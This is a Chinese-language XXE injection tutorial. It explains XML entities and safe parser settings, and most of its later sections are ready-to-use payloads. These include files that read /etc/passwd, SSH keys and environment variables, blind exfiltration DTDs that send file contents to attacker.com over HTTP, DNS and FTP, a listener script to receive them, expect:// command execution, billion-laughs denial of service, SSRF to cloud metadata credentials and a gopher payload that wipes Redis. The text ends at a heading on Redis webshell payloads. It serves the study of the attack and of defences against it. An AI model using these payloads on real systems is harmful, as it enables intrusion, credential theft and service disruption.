梳理 XML 外部实体注入(XML External Entity Injection,XXE)漏洞的原理、XML 实体知识体系、各类利用技巧、无回显利用方法及 WAF 绕过手法。
一、XML 基础
1.1 XML 文档结构
<?xml version="1.0" encoding="UTF-8"?> <!-- XML 声明 -->
<!DOCTYPE root [ <!-- DTD 声明(内部子集)-->
<!ELEMENT root (child)> <!-- 元素声明 -->
<!ATTLIST root id CDATA #REQUIRED> <!-- 属性声明 -->
<!ENTITY name "value"> <!-- 实体声明 -->
]>
<root id="1"> <!-- 根元素 -->
<child>&name;</child> <!-- 实体引用 -->
</root>
XML 文档的五种组成部分:
| 组成部分 |
说明 |
示例 |
| 声明 |
XML 版本与编码 |
<?xml version="1.0"?> |
| 元素 |
数据节点 |
<tag>content</tag> |
| 属性 |
元素附加信息 |
<tag attr="val"> |
| 实体 |
可复用的数据单元 |
& < |
| 注释 |
说明文字 |
<!-- comment --> |
1.2 实体完整分类体系
XML 实体
├── 内置实体(预定义)
│ ├── < → <
│ ├── > → >
│ ├── & → &
│ ├── " → "
│ └── ' → '
│
├── 字符实体(Character Reference)
│ ├── < → < (十进制)
│ └── < → < (十六进制)
│
├── 通用实体(General Entity)
│ ├── 内部实体(Internal Entity)
│ │ └── <!ENTITY name "value">
│ └── 外部实体(External Entity) ← XXE 漏洞核心
│ ├── <!ENTITY name SYSTEM "uri">
│ └── <!ENTITY name PUBLIC "id" "uri">
│
└── 参数实体(Parameter Entity) ← Blind XXE 关键
├── 内部参数实体
│ └── <!ENTITY % name "value">
└── 外部参数实体
└── <!ENTITY % name SYSTEM "uri">
1.3 各类实体语法详解
<!-- ══ 内部通用实体 ══ -->
<!ENTITY author "Alice">
<!-- 使用:&author; → Alice -->
<!-- ══ 外部通用实体(核心攻击面)══ -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- 使用:&xxe; → /etc/passwd 文件内容 -->
<!ENTITY xxe SYSTEM "http://attacker.com/evil.xml">
<!-- SYSTEM 关键字指定 URI,支持 file:// http:// ftp:// 等协议 -->
<!-- PUBLIC 实体(含公共标识符)-->
<!ENTITY name PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<!-- ══ 内部参数实体 ══ -->
<!ENTITY % param "value">
<!-- 使用:%param;(只能在 DTD 内部使用,不能在 XML 内容中)-->
<!-- ══ 外部参数实体(Blind XXE 核心)══ -->
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
<!-- 从远程加载 DTD 并立即执行其中的实体定义 -->
<!-- ══ 实体嵌套(参数实体引用其他实体)══ -->
<!ENTITY % payload "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%file;'>">
<!-- 注意:通用实体不能直接在 DTD 声明中引用,需通过参数实体间接引用 -->
1.4 实体引用规则
通用实体引用规则:
&name; 在 XML 内容(元素文本、属性值)中使用
%name; 在 DTD 内部使用(参数实体引用)
实体解析限制:
① 内部子集(文档内 DTD)中不能直接嵌套参数实体构建外部实体
② 外部 DTD 文件中可以嵌套参数实体
③ 通用实体不能在其自身定义的 DTD 中被引用(防止递归)
④ 参数实体只能在 DTD 上下文中使用
协议支持(默认):
file:// 本地文件
http:// HTTP 请求
https:// HTTPS 请求
ftp:// FTP 请求
php:// PHP 流(PHP 环境)
expect:// 执行命令(需 expect 扩展,PHP)
jar:// JAR 文件(Java)
gopher:// Gopher 协议(某些环境)
netdoc:// Java 特有
dict:// 字典协议(某些环境)
二、DTD 详解
2.1 DTD 的三种来源
<!-- ══ 内部 DTD(Internal Subset)══ -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- DTD 直接内嵌在 XML 文档中,最常用的 XXE 注入方式 -->
<!-- ══ 外部 DTD(External Subset)══ -->
<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://attacker.com/evil.dtd">
<root>&xxe;</root>
<!-- 引用外部 DTD 文件,适合 Blind XXE 带外传输 -->
<!-- ══ 混合使用 ══ -->
<?xml version="1.0"?>
<!DOCTYPE root SYSTEM "http://attacker.com/base.dtd" [
<!ENTITY local "override">
]>
<!-- 外部 DTD + 内部覆盖 -->
2.2 外部 DTD 文件示例
<!-- 攻击者服务器上的 evil.dtd -->
<!-- 简单文件读取版本 -->
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!-- 带外传输版本(读取内容发送到攻击者) -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % exfil "<!ENTITY send SYSTEM 'http://attacker.com/?data=%file;'>">
%exfil;
<!-- 注意:此处 %file; 在实体定义中使用(可行),%exfil; 触发嵌套定义 -->
2.3 参数实体嵌套限制与绕过
<!-- ══ 错误写法(内部子集中不能直接嵌套参数实体)══ -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%file;'>">
<!-- ↑ 在内部子集中,%file; 在实体定义内不会被解析!-->
%eval;
&exfil;
]>
<!-- ══ 正确写法(通过外部 DTD 绕过限制)══ -->
<!-- 文档中的 DTD -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<root>&exfil;</root>
<!-- 攻击者的 evil.dtd(外部文件,无此限制)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/?d=%file;'>">
%eval;
<!-- 在外部 DTD 中,参数实体嵌套是合法的!-->
三、XXE 漏洞原理
3.1 漏洞成因
正常 XML 处理:
客户端发送 XML → 服务器解析 → 提取数据 → 响应
XXE 攻击流程:
攻击者注入含外部实体的 XML
↓
XML 解析器解析 DOCTYPE 声明
↓
解析器加载外部实体(访问文件/URL)
↓
将外部资源内容替换实体引用
↓
应用程序使用替换后的内容(文件内容/请求响应)
↓
信息泄露 / SSRF / DoS / RCE
3.2 漏洞必要条件
① 应用程序接收并解析 XML 格式的输入
② XML 解析器被配置为允许解析外部实体(多数解析器默认允许!)
③ 解析器具有访问目标资源的权限(文件读取权限 / 网络访问权限)
④ 解析结果在某种形式上反映给攻击者(有回显 / 报错 / 带外)
← 注:④ 不是必须条件,Blind XXE 在无回显时仍可利用
3.3 XXE 危害分类
| 危害类型 |
利用方式 |
危害等级 |
| 任意文件读取 |
file:// 协议读取服务器文件 |
🔴 严重 |
| SSRF |
通过 http:// 发起内网请求 |
🔴 严重 |
| 端口扫描 |
通过请求响应探测内网端口开放 |
🟡 高 |
| RCE |
expect:// 协议执行命令(PHP) |
🔴 严重 |
| 拒绝服务 |
十亿笑脸攻击(实体指数展开) |
🟡 高 |
| 内网服务探测 |
通过 SSRF 访问内网 API / 服务 |
🟡 高 |
| 敏感信息泄露 |
读取配置文件 / 密钥 / 源码 |
🔴 严重 |
| 钓鱼攻击 |
通过 XXE 发起 URL 请求(配合 SSRF) |
🟡 高 |
3.4 常见触发场景
① 文件上传(SVG / XML / DOCX / XLSX / PPTX)
- SVG 图片处理
- Office 文档(OOXML 格式本质是 XML)
- RSS/Atom 订阅解析
② API 接口(Content-Type: application/xml)
- RESTful API 接受 XML 请求体
- SOAP Web Service
③ 配置文件解析
- Spring / Hibernate 配置文件
- Maven pom.xml
④ 前端提交表单
- 将 HTML 表单转为 XML 提交
- XHR / Fetch 发送 XML
⑤ 数据交换格式
- XML-RPC
- SAML(SSO 认证)← 高危!
- WebDAV
四、各语言危险解析函数
4.1 PHP 危险函数
<?php
// ══ simplexml_load_string(最常见)══
$xml = simplexml_load_string($_POST['xml']);
// 默认允许外部实体!
// 安全写法:禁用外部实体
$xml = simplexml_load_string(
$_POST['xml'],
'SimpleXMLElement',
LIBXML_NOENT | LIBXML_NONET // 注:这两个参数反而会启用/关闭不同功能
);
// 正确禁用:
libxml_disable_entity_loader(true); // PHP 7.x(PHP 8 默认禁用)
$xml = simplexml_load_string($_POST['xml']);
// ══ DOMDocument ══
$dom = new DOMDocument();
$dom->loadXML($_POST['xml']); // 危险!
$dom->load('file.xml'); // 危险!
$dom->loadHTMLFile('file.html'); // HTML 模式,XXE 有限
// 安全写法
$dom = new DOMDocument();
libxml_disable_entity_loader(true);
$dom->loadXML($_POST['xml']);
// ══ XMLReader ══
$reader = XMLReader::xml($_POST['xml']); // 危险!
$reader = new XMLReader();
$reader->open('file.xml'); // 危险!
// ══ SimpleXMLElement(直接实例化)══
$xml = new SimpleXMLElement($_POST['xml']); // 危险!
// ══ xml_parse / xml_parser_create(SAX 解析)══
$parser = xml_parser_create();
xml_parse($parser, $_POST['xml']); // 通常不受 XXE 影响(取决于版本)
// ══ libxml_set_external_entity_loader(自定义加载器)══
libxml_set_external_entity_loader(function($publicId, $systemId, $context) {
return null; // 返回 null 阻止外部实体加载
});
// PHP XXE 特有:PHP 协议
// expect:// 协议(需要 expect 扩展,可直接 RCE)
// <!ENTITY cmd SYSTEM "expect://id">
// php:// 协议(可绕过某些文件读取限制)
// <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
4.2 Java 危险解析
// ══ DocumentBuilderFactory(DOM 解析)══
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
Document doc = db.parse(new InputSource(new StringReader(xml))); // 危险!
// 安全写法(禁用所有外部实体相关特性)
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);
DocumentBuilder db = dbf.newDocumentBuilder();
// ══ SAXParserFactory ══
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(xml)), handler); // 危险!
// ══ XMLInputFactory(StAX 解析)══
XMLInputFactory xif = XMLInputFactory.newInstance();
XMLStreamReader reader = xif.createXMLStreamReader(new StringReader(xml)); // 危险!
// 安全写法
XMLInputFactory xif = XMLInputFactory.newInstance();
xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
xif.setProperty("javax.xml.stream.isSupportingExternalEntities", false);
// ══ TransformerFactory(XSLT 变换)══
TransformerFactory tf = TransformerFactory.newInstance();
Transformer t = tf.newTransformer(new StreamSource(xslt)); // 危险!
// ══ Validator(Schema 验证)══
SchemaFactory sf = SchemaFactory.newInstance(XMLConstants.W3C_XML_SCHEMA_NS_URI);
Schema schema = sf.newSchema(new StreamSource(schemaStream)); // 危险!
// ══ Java 特有协议 ══
// jar:// 可以读取 JAR 文件内的条目,还可以引发文件锁定
// netdoc:// 类似 file://,在某些场景绕过检测
// 示例:<!ENTITY xxe SYSTEM "jar:file:///path/to/file.jar!/entry">
4.3 Python 危险解析
# ══ lxml(默认不安全)══
from lxml import etree
tree = etree.parse('file.xml') # 危险!
tree = etree.fromstring(xml_string) # 危险!
# 安全写法
parser = etree.XMLParser(
resolve_entities=False, # 不解析实体
no_network=True, # 禁止网络访问
load_dtd=False, # 不加载 DTD
dtd_validation=False
)
tree = etree.fromstring(xml_string, parser)
# ══ xml.etree.ElementTree(标准库)══
import xml.etree.ElementTree as ET
tree = ET.parse('file.xml') # Python < 3.8 危险!
tree = ET.fromstring(xml_string) # Python < 3.8 危险!
# Python 3.8+ 默认禁止外部实体,但仍需注意
# ══ xml.dom.minidom ══
from xml.dom import minidom
doc = minidom.parseString(xml_string) # 危险!
doc = minidom.parse('file.xml') # 危险!
# ══ xml.sax ══
import xml.sax
xml.sax.parseString(xml_string, handler) # 危险!
# ══ xmltodict ══
import xmltodict
data = xmltodict.parse(xml_string) # 底层使用 expat,较安全但需验证
# ══ defusedxml(安全替代库)══
import defusedxml.ElementTree as ET # 安全!
import defusedxml.minidom as minidom # 安全!
import defusedxml.sax as sax # 安全!
# defusedxml 默认禁止所有危险 XML 特性
4.4 其他语言
// ══ Node.js ══
// libxmljs(危险!默认允许外部实体)
const libxml = require('libxmljs');
const doc = libxml.parseXml(xml); // 危险!
// 安全写法
const doc = libxml.parseXml(xml, { noent: false, dtdload: false });
// xml2js(相对安全,但取决于底层解析器)
const xml2js = require('xml2js');
xml2js.parseString(xml, callback); // 通常安全
// ══ Ruby ══
require 'nokogiri'
# Nokogiri 默认禁用外部实体(1.5.4+ 版本)
doc = Nokogiri::XML(xml) # 相对安全
# REXML
require 'rexml/document'
doc = REXML::Document.new(xml) # 危险!(某些版本)
// ══ .NET ══
// XmlDocument(危险!)
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = new XmlUrlResolver(); // 开启外部实体
xmlDoc.LoadXml(xml); // 危险!
// 安全写法
XmlDocument xmlDoc = new XmlDocument();
xmlDoc.XmlResolver = null; // 禁用外部实体
xmlDoc.LoadXml(xml);
// XmlTextReader(危险!.NET < 4.5.2)
XmlTextReader reader = new XmlTextReader(stream); // 危险!
// .NET 4.0+ 安全:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;
XmlReader reader = XmlReader.Create(stream, settings);
五、有回显 XXE 利用
5.1 基础文件读取
<!-- ══ 基础 Payload(读取 /etc/passwd)══ -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>
<!-- ══ 读取 Windows 文件 ══ -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root><data>&xxe;</data></root>
<!-- ══ 读取绝对路径 ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<foo><bar>&xxe;</bar></foo>
<!-- ══ 读取 Web 应用配置(相对路径 / 绝对路径)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///var/www/html/config.php">
<!ENTITY key SYSTEM "file:///root/.ssh/id_rsa">
<!ENTITY env SYSTEM "file:///proc/self/environ">
]>
<foo>
<config>&xxe;</config>
<ssh_key>&key;</ssh_key>
<env>&env;</env>
</foo>
5.2 PHP 协议扩展读取
<!-- ══ php://filter 读取 PHP 源码(避免被执行)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<foo><bar>&xxe;</bar></foo>
<!-- 返回 Base64 编码的 PHP 源码,避免 < > 等字符破坏 XML 结构 -->
<!-- ══ 多重过滤器 ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=config.php">
]>
<foo>&xxe;</foo>
<!-- ══ php://input(配合 POST 数据)══ -->
<!-- 某些场景下 PHP 的 php://input 可读取原始 POST 数据 -->
<!-- ══ expect://(RCE,需要 expect 扩展)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY cmd SYSTEM "expect://id">
]>
<foo>&cmd;</foo>
<!-- 输出:uid=33(www-data) gid=33(www-data) groups=33(www-data) -->
5.3 常见敏感文件路径
# Linux 系统文件
/etc/passwd 用户账户信息
/etc/shadow 用户密码哈希(需 root 权限)
/etc/hosts 主机名解析
/etc/hostname 主机名
/etc/os-release 系统版本信息
/proc/self/environ 当前进程环境变量(含 SECRET_KEY 等)
/proc/self/cmdline 当前进程命令行
/proc/self/cwd 当前工作目录(符号链接)
/proc/self/exe 当前可执行文件(符号链接)
/proc/self/fd/0 标准输入
/proc/self/maps 内存映射信息
/proc/net/tcp 网络连接(内网端口探测)
/proc/net/arp ARP 表(内网 IP 发现)
/var/log/apache2/access.log Apache 访问日志
/var/log/nginx/access.log Nginx 访问日志
/root/.ssh/id_rsa root 私钥
/root/.ssh/authorized_keys
/home/user/.ssh/id_rsa
/var/www/html/.env 环境变量配置(Laravel 等框架)
# Web 应用文件
/var/www/html/config.php
/var/www/html/wp-config.php WordPress
/var/www/html/configuration.php Joomla
/etc/nginx/nginx.conf
/etc/apache2/apache2.conf
/etc/apache2/sites-enabled/000-default.conf
# Windows 系统文件
C:/Windows/win.ini
C:/Windows/System32/drivers/etc/hosts
C:/inetpub/wwwroot/web.config
C:/xampp/apache/conf/httpd.conf
C:/Users/Administrator/.ssh/id_rsa
C:/Windows/System32/config/SAM (通常被锁定)
C:/boot.ini
5.4 在 XML 属性中利用实体
<!-- 实体引用可以出现在属性值中 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo bar="&xxe;">content</foo>
<!-- 也可以在多个位置同时使用 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY f SYSTEM "file:///etc/passwd">
]>
<request>
<username>&f;</username>
<action>login</action>
</request>
六、无回显 XXE(Blind XXE)
6.1 Blind XXE 原理
有回显 XXE:
XML 解析 → 实体内容替换到 XML 节点 → 应用返回节点内容给攻击者
Blind XXE(无回显):
应用不返回 XML 内容,但解析器仍然处理外部实体
→ 利用 DNS/HTTP 带外通道将数据传输到攻击者控制的服务器
带外(Out-of-Band,OOB)数据传输方式:
① HTTP 请求(最常用):数据附加在 URL 参数中
② DNS 请求:数据编码后作为子域名
③ FTP 数据连接(某些解析器支持 ftp://)
6.2 基于 HTTP 的带外传输
<!-- ══ Step 1:检测是否存在 Blind XXE(DNSlog)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://your-dnslog.burpcollaborator.net/detect">
]>
<foo>&xxe;</foo>
<!-- 若 DNSlog/Burp Collaborator 收到 HTTP 请求,证明存在 Blind XXE -->
<!-- ══ Step 2:通过外部 DTD 传输文件内容(HTTP)══ -->
<!-- 文档中发送的 XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&exfil;</foo>
<!-- 攻击者服务器 evil.dtd 内容 -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
<!-- %eval 展开时,其中的 %file 被替换为文件内容,定义了 exfil 实体 -->
<!-- 当 XML 中使用 &exfil; 时,发出 HTTP 请求,携带文件内容 -->
6.3 仅使用参数实体的带外传输(无需通用实体)
<!-- ══ 只用参数实体,不依赖通用实体 ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
%eval; <!-- 触发嵌套定义的 %exfil 实体 -->
%exfil; <!-- 直接在 DTD 中通过参数实体发起请求 -->
]>
<foo>trigger</foo>
<!-- 对应的 evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://attacker.com/?d=%file;'>">
<!-- 说明:
%file → 文件内容字符串
%eval → 展开后定义了 %exfil 实体(将 %file 嵌入 URL)
%exfil → 展开时发起 HTTP 请求,携带文件内容 -->
6.4 处理特殊字符(Base64 编码)
<!-- 问题:文件内容可能包含 & < > 等 XML 特殊字符,破坏 URL 或实体定义 -->
<!-- 解决:通过 PHP 协议 Base64 编码后再传输 -->
<!-- PHP 环境下:先 Base64 编码,再带外传输 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>&exfil;</foo>
<!-- evil.dtd(PHP 环境,用 php://filter Base64 编码)-->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://attacker.com/collect?data=%file;'>">
%eval;
<!-- 文件内容被 Base64 编码,不含特殊字符,安全传输 -->
6.5 DNS 带外传输
<!-- ══ DNS 带外(数据编码为子域名)══ -->
<!-- 限制:DNS 子域名有字符和长度限制(63字符/段,253字符总长),
适合传输少量数据(如文件前几行) -->
<!-- 攻击者的 evil.dtd(DNS 外带版)-->
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'http://%file;.attacker.com/'>">
%eval;
<!-- hostname 内容作为子域名发出 DNS 请求 -->
<!-- 需要配置 *.attacker.com 的通配符 DNS 记录 -->
<!-- 使用工具:
Burp Collaborator(自动捕获 DNS / HTTP)
DNSlog.cn(免费)
ceye.io
interact.sh(开源)-->
6.6 FTP 带外传输(多行数据)
<!-- FTP 协议可传输多行内容(比 HTTP URL 参数更适合传输文件) -->
<!-- 攻击者需要启动 FTP 服务器监听 -->
<!-- evil.dtd(FTP 外带版)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY exfil SYSTEM 'ftp://attacker.com:2121/%file;'>">
%eval;
<!-- 攻击者的 FTP 服务器(简易 Python 版)-->
# 简易 FTP 服务器(接收 XXE 带外数据)
import socket
def ftp_server(host='0.0.0.0', port=2121):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((host, port))
sock.listen(5)
print(f"[*] FTP server listening on {host}:{port}")
while True:
conn, addr = sock.accept()
print(f"[+] Connection from {addr}")
conn.send(b"220 FTP Server\r\n")
data = b""
while True:
chunk = conn.recv(4096)
if not chunk:
break
data += chunk
print(f"[DATA] {chunk}")
# 响应所有命令(简单确认)
if b"\r\n" in chunk:
conn.send(b"230 OK\r\n")
conn.close()
print(f"[+] Received: {data}")
ftp_server()
6.7 Blind XXE 自动化工具
# ── XXEinjector(Ruby)──
git clone https://github.com/enjoiz/XXEinjector
ruby XXEinjector.rb --host=attacker.com --httpport=8080 \
--file=/tmp/request.txt --path=/etc/passwd --oob=http
# ── xxe-recursive-download ──
# 使用 FTP 协议递归下载文件
# ── Burp Suite Collaborator ──
# 在 Burp 的 XXE Payload 中使用 Collaborator 域名
# 自动捕获 HTTP/DNS/SMTP 带外请求
# ── interactsh(开源 Collaborator 替代)──
# https://github.com/projectdiscovery/interactsh
interactsh-client # 获取唯一域名,监控所有交互
七、报错型 XXE
7.1 利用 XML 解析报错泄露数据
<!-- 当应用有报错信息但不回显实体内容时,可利用报错泄露数据 -->
<!-- 原理:构造一个非法 URI,将文件内容嵌入 URI,触发报错 -->
<!-- evil.dtd(报错型)-->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
<!-- 当尝试访问 file:///nonexistent/<passwd内容> 时,
解析器报错并在错误信息中包含了 passwd 内容! -->
<!-- 文档中的 XML -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<foo>trigger</foo>
<!-- 服务器返回类似的报错:
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:...
这样文件内容就在错误信息中泄露了 -->
7.2 PHP 报错型 XXE
<!-- PHP 环境下的报错型 XXE -->
<!-- 利用 PHP 的 URI 解析错误 -->
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///invalid/%file;'>">
%eval;
%error;
<!-- % 是 % 的 XML 字符实体,用于在实体定义内嵌套参数实体引用 -->
7.3 Java 报错型 XXE
<!-- Java 环境下,通过 jar:// 协议触发报错 -->
<!-- Java 在解析 jar:// URI 时会先下载 jar 文件,
若文件内容不是合法 JAR,报错信息中可能包含内容 -->
<!-- evil.dtd -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % error SYSTEM 'jar:file:///invalid//%file;.jar!/'>">
%eval;
%error;
八、基于参数实体的高级利用
8.1 参数实体在外部 DTD 中的无限制嵌套
<!-- 外部 DTD 中可以自由嵌套参数实体(无内部子集的限制)-->
<!-- 攻击者的 evil.dtd(多级嵌套)-->
<!ENTITY % a "<!ENTITY % b 'value'>">
%a;
%b;
<!-- 先定义 %a,%a 展开后定义了 %b,再展开 %b -->
<!-- 带文件内容的多级嵌套 -->
<!ENTITY % f SYSTEM "file:///etc/passwd">
<!ENTITY % g "<!ENTITY % h SYSTEM 'http://attacker.com/collect?data=%f;'>">
%g;
%h;
8.2 实体递归与 DoS(十亿笑脸攻击)
<!-- Billion Laughs Attack(亿笑攻击)-->
<!-- 指数级实体展开,耗尽内存/CPU,造成 DoS -->
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
<!-- lol9 展开后是 10^9 个 "lol",约 3GB 数据!-->
<!-- 变体:二次方爆炸 -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY x0 "AAAAAAAAAA"> <!-- 10 bytes -->
<!ENTITY x1 "&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;&x0;"> <!-- 100 bytes -->
<!ENTITY x2 "&x1;&x1;&x1;&x1;&x1;&x1;&x1;&x1;&x1;&x1;"> <!-- 1KB -->
<!ENTITY x3 "&x2;&x2;&x2;&x2;&x2;&x2;&x2;&x2;&x2;&x2;"> <!-- 10KB -->
<!-- 继续扩展... -->
]>
<root>&x3;</root>
8.3 XInclude 注入
<!-- XInclude 是 XML 规范的一部分,某些解析器支持 -->
<!-- 当无法修改 DOCTYPE 时,可尝试 XInclude -->
<!-- 标准 XInclude 语法 -->
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</foo>
<!-- 某些解析器支持:parse="text" 将文件作为文本包含 -->
<!-- parse="xml" 将文件作为 XML 解析并包含 -->
<!-- 注入场景:若服务器将用户数据嵌入 XML 结构 -->
<data xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</data>
九、XXE 转 SSRF
9.1 基础 SSRF
<!-- ══ 探测内网开放服务 ══ -->
<!-- 通过响应时间或错误信息判断端口状态 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.1:80/">
]>
<foo>&xxe;</foo>
<!-- 端口开放:正常响应或 HTTP 错误(快速)-->
<!-- 端口关闭:连接拒绝或超时(较慢)-->
<!-- ══ 内网 IP 段扫描 ══ -->
<!-- 逐一测试 192.168.1.1 ~ 192.168.1.254 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://192.168.1.100/">
]>
<foo>&xxe;</foo>
<!-- ══ 内网端口扫描 ══ -->
<!-- 常见端口:22/80/443/3306/6379/8080/8443/27017 -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:3306/">
]>
<foo>&xxe;</foo>
<!-- MySQL 握手包可能在响应中泄露版本信息 -->
9.2 访问内网服务
<!-- ══ 访问 AWS 元数据服务 ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<foo>&xxe;</foo>
<!-- AWS 敏感路径 -->
<!-- http://169.254.169.254/latest/meta-data/iam/security-credentials/ -->
<!-- http://169.254.169.254/latest/user-data/ -->
<!-- http://169.254.169.254/latest/meta-data/instance-id -->
<!-- ══ 访问 GCP 元数据 ══ -->
<!-- http://metadata.google.internal/computeMetadata/v1/ -->
<!-- ══ 访问内网 API ══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://internal-api.company.com:8080/admin/users">
]>
<foo>&xxe;</foo>
<!-- ══ 访问 Redis(通过 Gopher 协议)══ -->
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A">
]>
<foo>&xxe;</foo>
<!-- gopher:// 可以发送原始 TCP 数据,用于攻击 Redis/Memcached/FastCGI 等 -->
9.3 Gopher 协议利用
Gopher 协议语法:
gopher://host:port/_{data}
其中 {data} 是 URL 编码的 TCP 数据流
利用场景:
Redis 写入 WebShell
Memcached 注入
FastCGI 执行 PHP
MySQL 认证绕过(某些版本)
SMTP 发送邮件
# 生成 Redis 写 WebShell 的 Gopher Payload
